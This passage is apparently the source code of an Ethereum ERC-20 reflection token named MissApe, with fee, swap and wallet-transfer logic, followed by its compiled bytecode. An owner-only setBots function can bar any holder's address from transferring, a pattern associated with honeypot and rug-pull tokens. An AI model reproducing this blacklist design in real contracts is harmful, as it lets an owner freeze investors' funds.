return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract MissApe is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "MissApe Token_T.me/MissApe";
string private constant _symbol = "MissApe";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 1;
uint256 private _teamFee = 4;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 1;
_teamFee = 4;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (10 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 500000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(
tAmount,
_taxFee,
_teamFee
);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(
tAmount,
tFee,
tTeam,
currentRate
);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612edf565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a02565b61045e565b6040516101789190612ec4565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613081565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b3565b61048d565b6040516101e09190612ec4565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612925565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f6565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7f565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612925565b610783565b6040516102b19190613081565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df6565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612edf565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a02565b61098d565b60405161035b9190612ec4565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3e565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad1565b6110d2565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612977565b61121b565b6040516104189190613081565b60405180910390f35b60606040518060400160405280601a81526020017f4d69737341706520546f6b656e5f542e6d652f4d697373417065000000000000815250905090565b600061047261046b6112a2565b84846112aa565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611475565b61055b846104a66112a2565b610556856040518060600160405280602881526020016137ba60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c349092919063ffffffff16565b6112aa565b600190509392505050565b61056e6112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fc1565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fc1565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a2565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c98565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d93565b9050919050565b6107dc6112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fc1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f4d69737341706500000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a2565b8484611475565b6001905092915050565b6109b36112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fc1565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613397565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a2565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e01565b50565b610b7d6112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fc1565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613041565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112aa565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294e565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294e565b6040518363ffffffff1660e01b8152600401610e1f929190612e11565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294e565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e63565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612afa565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550681b1ae4d6e2ef5000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107c929190612e3a565b602060405180830381600087803b15801561109657600080fd5b505af11580156110aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110ce9190612aa8565b5050565b6110da6112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611167576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115e90612fc1565b60405180910390fd5b600081116111aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a190612f81565b60405180910390fd5b6111d960646111cb83683635c9adc5dea000006120fb90919063ffffffff16565b61217690919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6010546040516112109190613081565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561131a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131190613021565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561138a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138190612f41565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114689190613081565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114dc90613001565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611555576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154c90612f01565b60405180910390fd5b60008111611598576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158f90612fe1565b60405180910390fd5b6115a0610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160e57506115de610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7157600f60179054906101000a900460ff1615611841573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561169057503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116ea5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117445750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561184057600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661178a6112a2565b73ffffffffffffffffffffffffffffffffffffffff1614806118005750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e86112a2565b73ffffffffffffffffffffffffffffffffffffffff16145b61183f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183690613061565b60405180910390fd5b5b5b60105481111561185057600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f45750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fd57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a85750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fe5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a165750600f60179054906101000a900460ff165b15611ab75742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6657600080fd5b600a42611a7391906131b7565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac230610783565b9050600f60159054906101000a900460ff16158015611b2f5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b475750600f60169054906101000a900460ff165b15611b6f57611b5581611e01565b60004790506000811115611b6d57611b6c47611c98565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c185750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2257600090505b611c2e848484846121c0565b50505050565b6000838311158290611c7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c739190612edf565b60405180910390fd5b5060008385611c8b9190613298565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce860028461217690919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d13573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6460028461217690919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8f573d6000803e3d6000fd5b5050565b6000600654821115611dda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd190612f21565b60405180910390fd5b6000611de46121ed565b9050611df9818461217690919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5f577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8d5781602001602082028036833780820191505090505b5090503081600081518110611ecb577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6d57600080fd5b505afa158015611f81573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa5919061294e565b81600181518110611fdf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204630600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112aa565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120aa95949392919061309c565b600060405180830381600087803b1580156120c457600080fd5b505af11580156120d8573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210e5760009050612170565b6000828461211c919061323e565b905082848261212b919061320d565b1461216b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216290612fa1565b60405180910390fd5b809150505b92915050565b60006121b883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612218565b905092915050565b806121ce576121cd61227b565b5b6121d98484846122ac565b806121e7576121e6612477565b5b50505050565b60008060006121fa612489565b91509150612211818361217690919063ffffffff16565b9250505090565b6000808311829061225f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122569190612edf565b60405180910390fd5b506000838561226e919061320d565b9050809150509392505050565b600060085414801561228f57506000600954145b15612299576122aa565b600060088190555060006009819055505b565b6000806000806000806122be876124eb565b95509550955095509550955061231c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259d90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fd816125fb565b61240784836126b8565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124649190613081565b60405180910390a3505050505050505050565b60016008819055506004600981905550565b600080600060065490506000683635c9adc5dea0000090506124bf683635c9adc5dea0000060065461217690919063ffffffff16565b8210156124de57600654683635c9adc5dea000009350935050506124e7565b81819350935050505b9091565b60008060008060008060008060006125088a6008546009546126f2565b92509250925060006125186121ed565b9050600080600061252b8e878787612788565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c34565b905092915050565b60008082846125ac91906131b7565b9050838110156125f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e890612f61565b60405180910390fd5b8091505092915050565b60006126056121ed565b9050600061261c82846120fb90919063ffffffff16565b905061267081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259d90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cd8260065461255390919063ffffffff16565b6006819055506126e88160075461259d90919063ffffffff16565b6007819055505050565b60008060008061271e6064612710888a6120fb90919063ffffffff16565b61217690919063ffffffff16565b90506000612748606461273a888b6120fb90919063ffffffff16565b61217690919063ffffffff16565b9050600061277182612763858c61255390919063ffffffff16565b61255390919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a185896120fb90919063ffffffff16565b905060006127b886896120fb90919063ffffffff16565b905060006127cf87896120fb90919063ffffffff16565b905060006127f8826127ea858761255390919063ffffffff16565b61255390919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282461281f84613136565b613111565b9050808382526020820190508285602086028201111561284357600080fd5b60005b858110156128735781612859888261287d565b845260208401935060208301925050600181019050612846565b5050509392505050565b60008135905061288c81613774565b92915050565b6000815190506128a181613774565b92915050565b600082601f8301126128b857600080fd5b81356128c8848260208601612811565b91505092915050565b6000813590506128e08161378b565b92915050565b6000815190506128f58161378b565b92915050565b60008135905061290a816137a2565b92915050565b60008151905061291f816137a2565b92915050565b60006020828403121561293757600080fd5b60006129458482850161287d565b91505092915050565b60006020828403121561296057600080fd5b600061296e84828501612892565b91505092915050565b6000806040838503121561298a57600080fd5b60006129988582860161287d565b92505060206129a98582860161287d565b9150509250929050565b6000806000606084860312156129c857600080fd5b60006129d68682870161287d565b93505060206129e78682870161287d565b92505060406129f8868287016128fb565b9150509250925092565b60008060408385031215612a1557600080fd5b6000612a238582860161287d565b9250506020612a34858286016128fb565b9150509250929050565b600060208284031215612a5057600080fd5b600082013567ffffffffffffffff811115612a6a57600080fd5b612a76848285016128a7565b